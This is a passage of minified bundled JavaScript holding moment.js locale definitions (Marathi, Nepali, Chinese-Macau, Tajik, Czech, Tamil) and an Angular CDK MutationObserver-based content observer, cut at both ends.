0930\u0942_\u0936\u0941\u0915\u094d\u0930_\u0936\u0928\u093f".split("_"),weekdaysMin:"\u0930_\u0938\u094b_\u092e\u0902_\u092c\u0941_\u0917\u0941_\u0936\u0941_\u0936".split("_"),longDateFormat:{LT:"A h:mm \u0935\u093e\u091c\u0924\u093e",LTS:"A h:mm:ss \u0935\u093e\u091c\u0924\u093e",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm \u0935\u093e\u091c\u0924\u093e",LLLL:"dddd, D MMMM YYYY, A h:mm \u0935\u093e\u091c\u0924\u093e"},calendar:{sameDay:"[\u0906\u091c] LT",nextDay:"[\u0909\u0926\u094d\u092f\u093e] LT",nextWeek:"dddd, LT",lastDay:"[\u0915\u093e\u0932] LT",lastWeek:"[\u092e\u093e\u0917\u0940\u0932] dddd, LT",sameElse:"L"},relativeTime:{future:"%s\u092e\u0927\u094d\u092f\u0947",past:"%s\u092a\u0942\u0930\u094d\u0935\u0940",s:a,ss:a,m:a,mm:a,h:a,hh:a,d:a,dd:a,M:a,MM:a,y:a,yy:a},preparse:function(e){return e.replace(/[\u0967\u0968\u0969\u096a\u096b\u096c\u096d\u096e\u096f\u0966]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/\u092a\u0939\u093e\u091f\u0947|\u0938\u0915\u093e\u0933\u0940|\u0926\u0941\u092a\u093e\u0930\u0940|\u0938\u093e\u092f\u0902\u0915\u093e\u0933\u0940|\u0930\u093e\u0924\u094d\u0930\u0940/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u092a\u0939\u093e\u091f\u0947"===t||"\u0938\u0915\u093e\u0933\u0940"===t?e:"\u0926\u0941\u092a\u093e\u0930\u0940"===t||"\u0938\u093e\u092f\u0902\u0915\u093e\u0933\u0940"===t||"\u0930\u093e\u0924\u094d\u0930\u0940"===t?e>=12?e:e+12:void 0},meridiem:function(e,t,n){return e>=0&&e<6?"\u092a\u0939\u093e\u091f\u0947":e<12?"\u0938\u0915\u093e\u0933\u0940":e<17?"\u0926\u0941\u092a\u093e\u0930\u0940":e<20?"\u0938\u093e\u092f\u0902\u0915\u093e\u0933\u0940":"\u0930\u093e\u0924\u094d\u0930\u0940"},week:{dow:0,doy:6}})}(n("wd/R"))},OjkT:function(e,t,n){!function(e){"use strict";var t={1:"\u0967",2:"\u0968",3:"\u0969",4:"\u096a",5:"\u096b",6:"\u096c",7:"\u096d",8:"\u096e",9:"\u096f",0:"\u0966"},n={"\u0967":"1","\u0968":"2","\u0969":"3","\u096a":"4","\u096b":"5","\u096c":"6","\u096d":"7","\u096e":"8","\u096f":"9","\u0966":"0"};e.defineLocale("ne",{months:"\u091c\u0928\u0935\u0930\u0940_\u092b\u0947\u092c\u094d\u0930\u0941\u0935\u0930\u0940_\u092e\u093e\u0930\u094d\u091a_\u0905\u092a\u094d\u0930\u093f\u0932_\u092e\u0908_\u091c\u0941\u0928_\u091c\u0941\u0932\u093e\u0908_\u0905\u0917\u0937\u094d\u091f_\u0938\u0947\u092a\u094d\u091f\u0947\u092e\u094d\u092c\u0930_\u0905\u0915\u094d\u091f\u094b\u092c\u0930_\u0928\u094b\u092d\u0947\u092e\u094d\u092c\u0930_\u0921\u093f\u0938\u0947\u092e\u094d\u092c\u0930".split("_"),monthsShort:"\u091c\u0928._\u092b\u0947\u092c\u094d\u0930\u0941._\u092e\u093e\u0930\u094d\u091a_\u0905\u092a\u094d\u0930\u093f._\u092e\u0908_\u091c\u0941\u0928_\u091c\u0941\u0932\u093e\u0908._\u0905\u0917._\u0938\u0947\u092a\u094d\u091f._\u0905\u0915\u094d\u091f\u094b._\u0928\u094b\u092d\u0947._\u0921\u093f\u0938\u0947.".split("_"),monthsParseExact:!0,weekdays:"\u0906\u0907\u0924\u092c\u093e\u0930_\u0938\u094b\u092e\u092c\u093e\u0930_\u092e\u0919\u094d\u0917\u0932\u092c\u093e\u0930_\u092c\u0941\u0927\u092c\u093e\u0930_\u092c\u093f\u0939\u093f\u092c\u093e\u0930_\u0936\u0941\u0915\u094d\u0930\u092c\u093e\u0930_\u0936\u0928\u093f\u092c\u093e\u0930".split("_"),weekdaysShort:"\u0906\u0907\u0924._\u0938\u094b\u092e._\u092e\u0919\u094d\u0917\u0932._\u092c\u0941\u0927._\u092c\u093f\u0939\u093f._\u0936\u0941\u0915\u094d\u0930._\u0936\u0928\u093f.".split("_"),weekdaysMin:"\u0906._\u0938\u094b._\u092e\u0902._\u092c\u0941._\u092c\u093f._\u0936\u0941._\u0936.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A\u0915\u094b h:mm \u092c\u091c\u0947",LTS:"A\u0915\u094b h:mm:ss \u092c\u091c\u0947",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A\u0915\u094b h:mm \u092c\u091c\u0947",LLLL:"dddd, D MMMM YYYY, A\u0915\u094b h:mm \u092c\u091c\u0947"},preparse:function(e){return e.replace(/[\u0967\u0968\u0969\u096a\u096b\u096c\u096d\u096e\u096f\u0966]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/\u0930\u093e\u0924\u093f|\u092c\u093f\u0939\u093e\u0928|\u0926\u093f\u0909\u0901\u0938\u094b|\u0938\u093e\u0901\u091d/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u0930\u093e\u0924\u093f"===t?e<4?e:e+12:"\u092c\u093f\u0939\u093e\u0928"===t?e:"\u0926\u093f\u0909\u0901\u0938\u094b"===t?e>=10?e:e+12:"\u0938\u093e\u0901\u091d"===t?e+12:void 0},meridiem:function(e,t,n){return e<3?"\u0930\u093e\u0924\u093f":e<12?"\u092c\u093f\u0939\u093e\u0928":e<16?"\u0926\u093f\u0909\u0901\u0938\u094b":e<20?"\u0938\u093e\u0901\u091d":"\u0930\u093e\u0924\u093f"},calendar:{sameDay:"[\u0906\u091c] LT",nextDay:"[\u092d\u094b\u0932\u093f] LT",nextWeek:"[\u0906\u0909\u0901\u0926\u094b] dddd[,] LT",lastDay:"[\u0939\u093f\u091c\u094b] LT",lastWeek:"[\u0917\u090f\u0915\u094b] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s\u092e\u093e",past:"%s \u0905\u0917\u093e\u0921\u093f",s:"\u0915\u0947\u0939\u0940 \u0915\u094d\u0937\u0923",ss:"%d \u0938\u0947\u0915\u0947\u0923\u094d\u0921",m:"\u090f\u0915 \u092e\u093f\u0928\u0947\u091f",mm:"%d \u092e\u093f\u0928\u0947\u091f",h:"\u090f\u0915 \u0918\u0923\u094d\u091f\u093e",hh:"%d \u0918\u0923\u094d\u091f\u093e",d:"\u090f\u0915 \u0926\u093f\u0928",dd:"%d \u0926\u093f\u0928",M:"\u090f\u0915 \u092e\u0939\u093f\u0928\u093e",MM:"%d \u092e\u0939\u093f\u0928\u093e",y:"\u090f\u0915 \u092c\u0930\u094d\u0937",yy:"%d \u092c\u0930\u094d\u0937"},week:{dow:0,doy:6}})}(n("wd/R"))},OmwH:function(e,t,n){!function(e){"use strict";e.defineLocale("zh-mo",{months:"\u4e00\u6708_\u4e8c\u6708_\u4e09\u6708_\u56db\u6708_\u4e94\u6708_\u516d\u6708_\u4e03\u6708_\u516b\u6708_\u4e5d\u6708_\u5341\u6708_\u5341\u4e00\u6708_\u5341\u4e8c\u6708".split("_"),monthsShort:"1\u6708_2\u6708_3\u6708_4\u6708_5\u6708_6\u6708_7\u6708_8\u6708_9\u6708_10\u6708_11\u6708_12\u6708".split("_"),weekdays:"\u661f\u671f\u65e5_\u661f\u671f\u4e00_\u661f\u671f\u4e8c_\u661f\u671f\u4e09_\u661f\u671f\u56db_\u661f\u671f\u4e94_\u661f\u671f\u516d".split("_"),weekdaysShort:"\u9031\u65e5_\u9031\u4e00_\u9031\u4e8c_\u9031\u4e09_\u9031\u56db_\u9031\u4e94_\u9031\u516d".split("_"),weekdaysMin:"\u65e5_\u4e00_\u4e8c_\u4e09_\u56db_\u4e94_\u516d".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"YYYY\u5e74M\u6708D\u65e5",LLL:"YYYY\u5e74M\u6708D\u65e5 HH:mm",LLLL:"YYYY\u5e74M\u6708D\u65e5dddd HH:mm",l:"D/M/YYYY",ll:"YYYY\u5e74M\u6708D\u65e5",lll:"YYYY\u5e74M\u6708D\u65e5 HH:mm",llll:"YYYY\u5e74M\u6708D\u65e5dddd HH:mm"},meridiemParse:/\u51cc\u6668|\u65e9\u4e0a|\u4e0a\u5348|\u4e2d\u5348|\u4e0b\u5348|\u665a\u4e0a/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u51cc\u6668"===t||"\u65e9\u4e0a"===t||"\u4e0a\u5348"===t?e:"\u4e2d\u5348"===t?e>=11?e:e+12:"\u4e0b\u5348"===t||"\u665a\u4e0a"===t?e+12:void 0},meridiem:function(e,t,n){var a=100*e+t;return a<600?"\u51cc\u6668":a<900?"\u65e9\u4e0a":a<1130?"\u4e0a\u5348":a<1230?"\u4e2d\u5348":a<1800?"\u4e0b\u5348":"\u665a\u4e0a"},calendar:{sameDay:"[\u4eca\u5929] LT",nextDay:"[\u660e\u5929] LT",nextWeek:"[\u4e0b]dddd LT",lastDay:"[\u6628\u5929] LT",lastWeek:"[\u4e0a]dddd LT",sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}(\u65e5|\u6708|\u9031)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"\u65e5";case"M":return e+"\u6708";case"w":case"W":return e+"\u9031";default:return e}},relativeTime:{future:"%s\u5167",past:"%s\u524d",s:"\u5e7e\u79d2",ss:"%d \u79d2",m:"1 \u5206\u9418",mm:"%d \u5206\u9418",h:"1 \u5c0f\u6642",hh:"%d \u5c0f\u6642",d:"1 \u5929",dd:"%d \u5929",M:"1 \u500b\u6708",MM:"%d \u500b\u6708",y:"1 \u5e74",yy:"%d \u5e74"}})}(n("wd/R"))},Oxv6:function(e,t,n){!function(e){"use strict";var t={0:"-\u0443\u043c",1:"-\u0443\u043c",2:"-\u044e\u043c",3:"-\u044e\u043c",4:"-\u0443\u043c",5:"-\u0443\u043c",6:"-\u0443\u043c",7:"-\u0443\u043c",8:"-\u0443\u043c",9:"-\u0443\u043c",10:"-\u0443\u043c",12:"-\u0443\u043c",13:"-\u0443\u043c",20:"-\u0443\u043c",30:"-\u044e\u043c",40:"-\u0443\u043c",50:"-\u0443\u043c",60:"-\u0443\u043c",70:"-\u0443\u043c",80:"-\u0443\u043c",90:"-\u0443\u043c",100:"-\u0443\u043c"};e.defineLocale("tg",{months:{format:"\u044f\u043d\u0432\u0430\u0440\u0438_\u0444\u0435\u0432\u0440\u0430\u043b\u0438_\u043c\u0430\u0440\u0442\u0438_\u0430\u043f\u0440\u0435\u043b\u0438_\u043c\u0430\u0439\u0438_\u0438\u044e\u043d\u0438_\u0438\u044e\u043b\u0438_\u0430\u0432\u0433\u0443\u0441\u0442\u0438_\u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0438_\u043e\u043a\u0442\u044f\u0431\u0440\u0438_\u043d\u043e\u044f\u0431\u0440\u0438_\u0434\u0435\u043a\u0430\u0431\u0440\u0438".split("_"),standalone:"\u044f\u043d\u0432\u0430\u0440_\u0444\u0435\u0432\u0440\u0430\u043b_\u043c\u0430\u0440\u0442_\u0430\u043f\u0440\u0435\u043b_\u043c\u0430\u0439_\u0438\u044e\u043d_\u0438\u044e\u043b_\u0430\u0432\u0433\u0443\u0441\u0442_\u0441\u0435\u043d\u0442\u044f\u0431\u0440_\u043e\u043a\u0442\u044f\u0431\u0440_\u043d\u043e\u044f\u0431\u0440_\u0434\u0435\u043a\u0430\u0431\u0440".split("_")},monthsShort:"\u044f\u043d\u0432_\u0444\u0435\u0432_\u043c\u0430\u0440_\u0430\u043f\u0440_\u043c\u0430\u0439_\u0438\u044e\u043d_\u0438\u044e\u043b_\u0430\u0432\u0433_\u0441\u0435\u043d_\u043e\u043a\u0442_\u043d\u043e\u044f_\u0434\u0435\u043a".split("_"),weekdays:"\u044f\u043a\u0448\u0430\u043d\u0431\u0435_\u0434\u0443\u0448\u0430\u043d\u0431\u0435_\u0441\u0435\u0448\u0430\u043d\u0431\u0435_\u0447\u043e\u0440\u0448\u0430\u043d\u0431\u0435_\u043f\u0430\u043d\u04b7\u0448\u0430\u043d\u0431\u0435_\u04b7\u0443\u043c\u044a\u0430_\u0448\u0430\u043d\u0431\u0435".split("_"),weekdaysShort:"\u044f\u0448\u0431_\u0434\u0448\u0431_\u0441\u0448\u0431_\u0447\u0448\u0431_\u043f\u0448\u0431_\u04b7\u0443\u043c_\u0448\u043d\u0431".split("_"),weekdaysMin:"\u044f\u0448_\u0434\u0448_\u0441\u0448_\u0447\u0448_\u043f\u0448_\u04b7\u043c_\u0448\u0431".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[\u0418\u043c\u0440\u04ef\u0437 \u0441\u043e\u0430\u0442\u0438] LT",nextDay:"[\u0424\u0430\u0440\u0434\u043e \u0441\u043e\u0430\u0442\u0438] LT",lastDay:"[\u0414\u0438\u0440\u04ef\u0437 \u0441\u043e\u0430\u0442\u0438] LT",nextWeek:"dddd[\u0438] [\u04b3\u0430\u0444\u0442\u0430\u0438 \u043e\u044f\u043d\u0434\u0430 \u0441\u043e\u0430\u0442\u0438] LT",lastWeek:"dddd[\u0438] [\u04b3\u0430\u0444\u0442\u0430\u0438 \u0433\u0443\u0437\u0430\u0448\u0442\u0430 \u0441\u043e\u0430\u0442\u0438] LT",sameElse:"L"},relativeTime:{future:"\u0431\u0430\u044a\u0434\u0438 %s",past:"%s \u043f\u0435\u0448",s:"\u044f\u043a\u0447\u0430\u043d\u0434 \u0441\u043e\u043d\u0438\u044f",m:"\u044f\u043a \u0434\u0430\u049b\u0438\u049b\u0430",mm:"%d \u0434\u0430\u049b\u0438\u049b\u0430",h:"\u044f\u043a \u0441\u043e\u0430\u0442",hh:"%d \u0441\u043e\u0430\u0442",d:"\u044f\u043a \u0440\u04ef\u0437",dd:"%d \u0440\u04ef\u0437",M:"\u044f\u043a \u043c\u043e\u04b3",MM:"%d \u043c\u043e\u04b3",y:"\u044f\u043a \u0441\u043e\u043b",yy:"%d \u0441\u043e\u043b"},meridiemParse:/\u0448\u0430\u0431|\u0441\u0443\u0431\u04b3|\u0440\u04ef\u0437|\u0431\u0435\u0433\u043e\u04b3/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u0448\u0430\u0431"===t?e<4?e:e+12:"\u0441\u0443\u0431\u04b3"===t?e:"\u0440\u04ef\u0437"===t?e>=11?e:e+12:"\u0431\u0435\u0433\u043e\u04b3"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"\u0448\u0430\u0431":e<11?"\u0441\u0443\u0431\u04b3":e<16?"\u0440\u04ef\u0437":e<19?"\u0431\u0435\u0433\u043e\u04b3":"\u0448\u0430\u0431"},dayOfMonthOrdinalParse:/\d{1,2}-(\u0443\u043c|\u044e\u043c)/,ordinal:function(e){return e+(t[e]||t[e%10]||t[e>=100?100:null])},week:{dow:1,doy:7}})}(n("wd/R"))},PA2r:function(e,t,n){!function(e){"use strict";var t="leden_\xfanor_b\u0159ezen_duben_kv\u011bten_\u010derven_\u010dervenec_srpen_z\xe1\u0159\xed_\u0159\xedjen_listopad_prosinec".split("_"),n="led_\xfano_b\u0159e_dub_kv\u011b_\u010dvn_\u010dvc_srp_z\xe1\u0159_\u0159\xedj_lis_pro".split("_"),a=[/^led/i,/^\xfano/i,/^b\u0159e/i,/^dub/i,/^kv\u011b/i,/^(\u010dvn|\u010derven$|\u010dervna)/i,/^(\u010dvc|\u010dervenec|\u010dervence)/i,/^srp/i,/^z\xe1\u0159/i,/^\u0159\xedj/i,/^lis/i,/^pro/i],r=/^(leden|\xfanor|b\u0159ezen|duben|kv\u011bten|\u010dervenec|\u010dervence|\u010derven|\u010dervna|srpen|z\xe1\u0159\xed|\u0159\xedjen|listopad|prosinec|led|\xfano|b\u0159e|dub|kv\u011b|\u010dvn|\u010dvc|srp|z\xe1\u0159|\u0159\xedj|lis|pro)/i;function i(e){return e>1&&e<5&&1!=~~(e/10)}function s(e,t,n,a){var r=e+" ";switch(n){case"s":return t||a?"p\xe1r sekund":"p\xe1r sekundami";case"ss":return t||a?r+(i(e)?"sekundy":"sekund"):r+"sekundami";case"m":return t?"minuta":a?"minutu":"minutou";case"mm":return t||a?r+(i(e)?"minuty":"minut"):r+"minutami";case"h":return t?"hodina":a?"hodinu":"hodinou";case"hh":return t||a?r+(i(e)?"hodiny":"hodin"):r+"hodinami";case"d":return t||a?"den":"dnem";case"dd":return t||a?r+(i(e)?"dny":"dn\xed"):r+"dny";case"M":return t||a?"m\u011bs\xedc":"m\u011bs\xedcem";case"MM":return t||a?r+(i(e)?"m\u011bs\xedce":"m\u011bs\xedc\u016f"):r+"m\u011bs\xedci";case"y":return t||a?"rok":"rokem";case"yy":return t||a?r+(i(e)?"roky":"let"):r+"lety"}}e.defineLocale("cs",{months:t,monthsShort:n,monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(leden|ledna|\xfanora|\xfanor|b\u0159ezen|b\u0159ezna|duben|dubna|kv\u011bten|kv\u011btna|\u010dervenec|\u010dervence|\u010derven|\u010dervna|srpen|srpna|z\xe1\u0159\xed|\u0159\xedjen|\u0159\xedjna|listopadu|listopad|prosinec|prosince)/i,monthsShortStrictRegex:/^(led|\xfano|b\u0159e|dub|kv\u011b|\u010dvn|\u010dvc|srp|z\xe1\u0159|\u0159\xedj|lis|pro)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"ned\u011ble_pond\u011bl\xed_\xfater\xfd_st\u0159eda_\u010dtvrtek_p\xe1tek_sobota".split("_"),weekdaysShort:"ne_po_\xfat_st_\u010dt_p\xe1_so".split("_"),weekdaysMin:"ne_po_\xfat_st_\u010dt_p\xe1_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm",l:"D. M. YYYY"},calendar:{sameDay:"[dnes v] LT",nextDay:"[z\xedtra v] LT",nextWeek:function(){switch(this.day()){case 0:return"[v ned\u011bli v] LT";case 1:case 2:return"[v] dddd [v] LT";case 3:return"[ve st\u0159edu v] LT";case 4:return"[ve \u010dtvrtek v] LT";case 5:return"[v p\xe1tek v] LT";case 6:return"[v sobotu v] LT"}},lastDay:"[v\u010dera v] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulou ned\u011bli v] LT";case 1:case 2:return"[minul\xe9] dddd [v] LT";case 3:return"[minulou st\u0159edu v] LT";case 4:case 5:return"[minul\xfd] dddd [v] LT";case 6:return"[minulou sobotu v] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"p\u0159ed %s",s,ss:s,m:s,mm:s,h:s,hh:s,d:s,dd:s,M:s,MM:s,y:s,yy:s},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},POq0:function(e,t,n){"use strict";n.d(t,"c",(function(){return l})),n.d(t,"b",(function(){return d})),n.d(t,"a",(function(){return u})),n.d(t,"d",(function(){return c}));var a=n("KCVW"),r=n("8Y7J"),i=n("HDdC"),s=n("XNiG"),o=n("Kj3r");let l=(()=>{class e{create(e){return"undefined"==typeof MutationObserver?null:new MutationObserver(e)}}return e.ngInjectableDef=Object(r.Nb)({factory:function(){return new e},token:e,providedIn:"root"}),e})(),d=(()=>{class e{constructor(e){this._mutationObserverFactory=e,this._observedElements=new Map}ngOnDestroy(){this._observedElements.forEach((e,t)=>this._cleanupObserver(t))}observe(e){const t=Object(a.d)(e);return new i.a(e=>{const n=this._observeElement(t).subscribe(e);return()=>{n.unsubscribe(),this._unobserveElement(t)}})}_observeElement(e){if(this._observedElements.has(e))this._observedElements.get(e).count++;else{const t=new s.a,n=this._mutationObserverFactory.create(e=>t.next(e));n&&n.observe(e,{characterData:!0,childList:!0,subtree:!0}),this._observedElements.set(e,{observer:n,stream:t,count:1})}return this._observedElements.get(e).stream}_unobserveElement(e){this._observedElements.has(e)&&(this._observedElements.get(e).count--,this._observedElements.get(e).count||this._cleanupObserver(e))}_cleanupObserver(e){if(this._observedElements.has(e)){const{observer:t,stream:n}=this._observedElements.get(e);t&&t.disconnect(),n.complete(),this._observedElements.delete(e)}}}return e.ngInjectableDef=Object(r.Nb)({factory:function(){return new e(Object(r.Ob)(l))},token:e,providedIn:"root"}),e})();class u{constructor(e,t,n){this._contentObserver=e,this._elementRef=t,this._ngZone=n,this.event=new r.m,this._disabled=!1,this._currentSubscription=null}get disabled(){return this._disabled}set disabled(e){this._disabled=Object(a.b)(e),this._disabled?this._unsubscribe():this._subscribe()}get debounce(){return this._debounce}set debounce(e){this._debounce=Object(a.e)(e),this._subscribe()}ngAfterContentInit(){this._currentSubscription||this.disabled||this._subscribe()}ngOnDestroy(){this._unsubscribe()}_subscribe(){this._unsubscribe();const e=this._contentObserver.observe(this._elementRef);this._ngZone.runOutsideAngular(()=>{this._currentSubscription=(this.debounce?e.pipe(Object(o.a)(this.debounce)):e).subscribe(this.event)})}_unsubscribe(){this._currentSubscription&&this._currentSubscription.unsubscribe()}}class c{}},PeUW:function(e,t,n){!function(e){"use strict";var t={1:"\u0be7",2:"\u0be8",3:"\u0be9",4:"\u0bea",5:"\u0beb",6:"\u0bec",7:"\u0bed",8:"\u0bee",9:"\u0bef",0:"\u0be6"},n={"\u0be7":"1","\u0be8":"2","\u0be9":"3","\u0bea":"4","\u0beb":"5","\u0bec":"6","\u0bed":"7","\u0bee":"8","\u0bef":"9","\u0be6":"0"};e.defineLocale("ta",{months:"\u0b9c\u0ba9\u0bb5\u0bb0\u0bbf_\u0baa\u0bbf\u0baa\u0bcd\u0bb0\u0bb5\u0bb0\u0bbf_\u0bae\u0bbe\u0bb0\u0bcd\u0b9a\u0bcd_\u0b8f\u0baa\u0bcd\u0bb0\u0bb2\u0bcd_\u0bae\u0bc7_\u0b9c\u0bc2\u0ba9\u0bcd_\u0b9c\u0bc2\u0bb2\u0bc8_\u0b86\u0b95\u0bb8\u0bcd\u0b9f\u0bcd_\u0b9a\u0bc6\u0baa\u0bcd\u0b9f\u0bc6\u0bae\u0bcd\u0baa\u0bb0\u0bcd_\u0b85\u0b95\u0bcd\u0b9f\u0bc7\u0bbe\u0baa\u0bb0\u0bcd_\u0ba8\u0bb5\u0bae\u0bcd\u0baa\u0bb0\u0bcd_\u0b9f\u0bbf\u0b9a\u0bae\u0bcd\u0baa\u0bb0\u0bcd".split("_"),monthsShort:"\u0b9c\u0ba9\u0bb5\u0bb0\u0bbf_\u0baa\u0bbf\u0baa\u0bcd\u0bb0\u0bb5\u0bb0\u0bbf_\u0bae\u0bbe\u0bb0\u0bcd\u0b9a\u0bcd_\u0b8f\u0baa\u0bcd\u0bb0\u0bb2\u0bcd_\u0bae\u0bc7_\u0b9c\u0bc2\u0ba9\u0bcd_\u0b9c\u0bc2\u0bb2\u0bc8_\u0b86\u0b95\u0bb8\u0bcd\u0b9f\u0bcd_\u0b9a\u0bc6\u0baa\u0bcd\u0b9f\u0bc6\u0bae\u0bcd\u0baa\u0bb0\u0bcd_\u0b85\u0b95\u0bcd\u0b9f\u0bc7\u0bbe\u0baa\u0bb0\u0bcd_\u0ba8\u0bb5\u0bae\u0bcd\u0baa\u0bb0\u0bcd_\u0b9f\u0bbf\u0b9a\u0bae\u0bcd\u0baa\u0bb0\u0bcd".split("_"),weekdays:"\u0b9e\u0bbe\u0baf\u0bbf\u0bb1\u0bcd\u0bb1\u0bc1\u0b95\u0bcd\u0b95\u0bbf\u0bb4\u0bae\u0bc8_\u0ba4\u0bbf\u0b99\u0bcd\u0b95\u0b9f\u0bcd\u0b95\u0bbf\u0bb4\u0bae\u0bc8_\u0b9a\u0bc6\u0bb5\u0bcd\u0bb5\u0bbe\u0baf\u0bcd\u0b95\u0bbf\u0bb4\u0bae\u0bc8_\u0baa\u0bc1\u0ba4\u0ba9\u0bcd\u0b95\u0bbf\u0bb4\u0bae\u0bc8_\u0bb5\u0bbf\u0baf\u0bbe\u0bb4\u0b95\u0bcd\u0b95\u0bbf\u0bb4\u0bae\u0bc8_\u0bb5\u0bc6\u0bb3\u0bcd\u0bb3\u0bbf\u0b95\u0bcd\u0b95\u0bbf\u0bb4\u0bae\u0bc8_\u0b9a\u0ba9\u0bbf\u0b95\u0bcd\u0b95\u0bbf\u0bb4\u0bae\u0bc8".split("_"),weekdaysShort:"\u0b9e\u0bbe\u0baf\u0bbf\u0bb1\u0bc1_\u0ba4\u0bbf\u0b99\u0bcd\u0b95\u0bb3\u0bcd_\u0b9a\u0bc6\u0bb5\u0bcd\u0bb5\u0bbe\u0baf\u0bcd_\u0baa\u0bc1\u0ba4\u0ba9\u0bcd_\u0bb5\u0bbf\u0baf\u0bbe\u0bb4\u0ba9\u0bcd_\u0bb5\u0bc6\u0bb3\u0bcd\u0bb3\u0bbf_\u0b9a\u0ba9\u0bbf".split("_"),weekdaysMin:"\u0b9e\u0bbe_\u0ba4\u0bbf_\u0b9a\u0bc6_\u0baa\u0bc1_\u0bb5\u0bbf_\u0bb5\u0bc6_\u0b9a".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, HH:mm",LLLL:"dddd, D MMMM YYYY, HH:mm"},calendar:{sameDay:"[\u0b87\u0ba9\u0bcd\u0bb1\u0bc1] LT",nextDay:"[\u0ba8\u0bbe\u0bb3\u0bc8] LT",nextWeek:"dddd, LT",lastDay:"[\u0ba8\u0bc7\u0bb1\u0bcd\u0bb1\u0bc1] LT",lastWeek:"[\u0b95\u0b9f\u0ba8\u0bcd\u0ba4 \u0bb5\u0bbe\u0bb0\u0bae\u0bcd] dddd, LT",sameElse:"L"},relativeTime:{future:"%s \u0b87\u0bb2\u0bcd",past:"%s \u0bae\u0bc1\u0ba9\u0bcd",s:"\u0b92\u0bb0\u0bc1 \u0b9a\u0bbf\u0bb2 \u0bb5\u0bbf\u0ba8\u0bbe\u0b9f\u0bbf\u0b95\u0bb3\u0bcd",ss:"%d \u0bb5\u0bbf\u0ba8\u0bbe\u0b9f\u0bbf\u0b95\u0bb3\u0bcd",m:"\u0b92\u0bb0\u0bc1 \u0ba8\u0bbf\u0bae\u0bbf\u0b9f\u0bae\u0bcd",mm:"%d \u0ba8\u0bbf\u0bae\u0bbf\u0b9f\u0b99\u0bcd\u0b95\u0bb3\u0bcd",h:"\u0b92\u0bb0\u0bc1 \u0bae\u0ba3\u0bbf \u0ba8\u0bc7\u0bb0\u0bae\u0bcd",hh:"%d \u0bae\u0ba3\u0bbf \u0ba8\u0bc7\u0bb0\u0bae\u0bcd",d:"\u0b92\u0bb0\u0bc1 \u0ba8\u0bbe\u0bb3\u0bcd",dd:"%d \u0ba8\u0bbe\u0b9f\u0bcd\u0b95\u0bb3\u0bcd",M:"\u0b92\u0bb0\u0bc1 \u0bae\u0bbe\u0ba4\u0bae\u0bcd",MM:"%d \u0bae\u0bbe\u0ba4\u0b99\u0bcd\u0b95\u0bb3\u0bcd",y:"\u0b92\u0bb0\u0bc1 \u0bb5\u0bb0\u0bc1\u0b9f\u0bae\u0bcd",yy:"%d \u0b86\u0ba3\u0bcd\u0b9f\u0bc1\u0b95\u0bb3\u0bcd"},dayOfMonthOrdinalParse:/\d{1,2}\u0bb5\u0ba4\u0bc1/,ordinal:function(e){return e+"\u0bb5\u0ba4\u0bc1"},preparse:function(e){return e.replace(/[\u0be7\u0be8\u0be9\u0bea\u0beb\u0bec\u0bed\u0bee\u0bef\u0be6]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/\u0baf\u0bbe\u0bae\u0bae\u0bcd|\u0bb5\u0bc8\u0b95\u0bb1\u0bc8|\u0b95\u0bbe\u0bb2\u0bc8|\u0ba8\u0ba3\u0bcd\u0baa\u0b95\u0bb2\u0bcd|\u0b8e\u0bb1\u0bcd\u0baa\u0bbe\u0b9f\u0bc1|\u0bae\u0bbe\u0bb2\u0bc8/,meridiem:function(e,t,n){return e<2?" \u0baf\u0bbe\u0bae\u0bae\u0bcd":e<6?" \u0bb5\u0bc8\u0b95\u0bb1\u0bc8":e<10?" \u0b95\u0bbe\u0bb2\u0bc8":e<14?" \u0ba8\u0ba3\u0bcd\u0baa\u0b95\u0bb2\u0bcd":e<18?" \u0b8e\u0bb1\u0bcd\u0baa\u0bbe\u0b9f\u0bc1":e<22?" \u0bae\u0bbe\u0bb2\u0bc8":" \u0baf\u0bbe\u0bae\u0bae\u0bcd"},meridiemHour:function(e,t){return 12===e&&(e=0),"\u0baf\u0bbe\u0bae\u0bae\u0bcd"===t?e<2?e:e+12:"\u0bb5\u0bc8\u0b95\u0bb1\u0bc8"===t||"\u0b95\u0bbe\u0bb2\u0bc8"===t||"\u0ba8\u0ba3\u0bcd\u0baa\u0b95\u0bb2\u0bcd"===t&&e>=10?e:e+12},week:{dow:0,doy:6}})}(n("wd/R"))},PpIw:function(e,t,n){!function(e){"use strict";var 